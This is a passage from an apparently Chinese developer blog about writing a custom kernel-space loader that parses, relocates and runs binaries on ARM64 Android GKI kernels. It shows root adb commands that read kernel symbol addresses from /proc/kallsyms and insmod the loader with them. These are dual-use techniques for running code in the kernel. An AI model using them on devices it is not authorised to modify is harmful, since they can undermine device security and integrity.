start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">至此，模块终于能在 ARM64 安卓GKI设备上安全、正常地加载和卸载。</span></p><h2 data-line="1384" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5 KPM加载器运行时实现</span></h2><p data-line="1386" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当基础格式和安全机制都打通后，还会面临一个更根本的问题：是否必须依赖内核原生的模块加载器？</span></p><p data-line="1388" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果希望在目标设备运行时动态接收、解析、重定位并执行受控二进制，就必须自己实现一个运行在内核空间的迷你加载器。下面记录自研 KPM Loader 从设计到落地过程中遇到的关键问题。原始调试过程中一共记录了第 21 到第 39 个坑，经过复盘后，将其中被后续方案完全覆盖的临时坑合并，最终整理为第 21 到第 35 个核心坑。</span></p><h3 data-line="1390" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">设计目标与运行时基础</span></h3><p data-line="1392" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPatcher 的离线转换方案解决了“生成合法 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.ko</span></code><span leaf="">”的问题，但它有一个根本局限：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="1372" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">所有 ELF 转换、section 修补、符号处理和重定位修复都必须在开发机上完成。</span></p></blockquote><p data-line="1396" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果希望目标设备在运行时直接接收二进制、完成解析、重定位和执行，就需要一个运行在内核空间的加载器。</span></p><p data-line="1398" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM Loader 应运而生。</span></p><p data-line="1400" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它是一个独立内核模块，通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc</span></code><span leaf=""> 接口接收一种自定义格式的二进制，称为 KPM，并在内核空间完成：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">ELF 解析</span></p></li><li><p><span leaf="">section 布局</span></p></li><li><p><span leaf="">符号解析</span></p></li><li><p><span leaf="">重定位处理</span></p></li><li><p><span leaf="">内存权限切换</span></p></li><li><p><span leaf="">指令缓存刷新</span></p></li><li><p><span leaf="">KPM 入口函数调用</span></p></li><li><p><span leaf="">KPM 卸载与资源释放</span></p></li></ul><p data-line="1411" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本质上，这就是一个迷你的内核模块加载器。</span></p><p data-line="1413" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核原生加载器走过的每一步：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">ELF 校验</span></p></li><li><p><span leaf="">section 分类</span></p></li><li><p><span leaf="">符号解析</span></p></li><li><p><span leaf="">relocation 应用</span></p></li><li><p><span leaf="">module memory 分配</span></p></li><li><p><span leaf="">text 权限切换</span></p></li><li><p><span leaf="">init / exit 生命周期管理</span></p></li></ul><p data-line="1423" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们都要自己实现一遍。</span></p><p data-line="1425" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而那些在内核加载器里被成熟代码处理好的细节，自己动手时全都变成了坑。</span></p><p data-line="1427" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 21：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf=""> 地址的 KASLR 时效性</span></p><p data-line="1429" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每次都按流程获取 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name</span></code><span leaf=""> 地址：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1409" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">insmod loader.ko kaddr=0x...</span></code></pre><p data-line="1435" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">模块可以加载成功。但有时前一秒还能正常工作的模块，下一秒就崩溃。崩溃类型是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1415" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">IABT</span></code></pre><p data-line="1445" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是 Instruction Abort。</span></p><p data-line="1447" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">崩溃点恰好发生在调用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name()</span></code><span leaf=""> 的位置。</span></p><p data-line="1449" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安卓GKI内核启用了KASLR：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1425" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Kernel Address Space Layout Randomization</span></code></pre><p data-line="1455" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每次设备重启后，内核符号的虚拟地址都会重新随机化。典型错误流程如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1431" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 终端 1：获取地址</span></span><span leaf=""><br/></span><span leaf="">adb shell grep kallsyms_lookup_name /proc/kallsyms</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 输出：</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># ffffffeedaaa69b8 T kallsyms_lookup_name</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 设备中途崩溃重启，KASLR 重新随机化</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 终端 2：继续使用旧地址</span></span><span leaf=""><br/></span><span leaf="">adb shell insmod loader.ko kaddr=0xffffffeedaaa69b8</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 旧地址已经失效，跳转到随机位置，触发 IABT</span></span></code></pre><p data-line="1474" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">两个 adb 会话之间设备恰好发生了重启，符号地址已经变化，但 loader 仍在使用旧地址。</span></p><p data-line="1476" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">始终在同一次启动周期内重新获取地址，并立即加载模块。</span></p><p data-line="1478" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">示例：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1452" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">ADDR=$(adb shell </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;su -c &#39;grep kallsyms_lookup_name /proc/kallsyms | head -1&#39;&#34;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">    | awk </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;{print &#34;0x&#34;$1}&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">adb shell </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;su -c &#39;insmod /data/local/tmp/loader.ko kaddr=</span><span style="color: rgb(0, 128, 0);"><span leaf="">$ADDR</span></span><span leaf="">&#39;&#34;</span></span></code></pre><p data-line="1487" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KASLR 地址只在单次启动周期内有效。</span></p><p data-line="1489" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">任何崩溃、重启、软重启之后，都必须重新获取所有 kallsyms 地址。</span></p><p data-line="1491" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是动态分析内核环境的基础纪律。</span></p><p data-line="1493" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 22：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hex_to_ulong</span></code><span leaf=""> 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x</span></code><span leaf=""> 前缀陷阱</span></p><p data-line="1495" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/kpm_loader</span></code><span leaf=""> 写入了正确的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 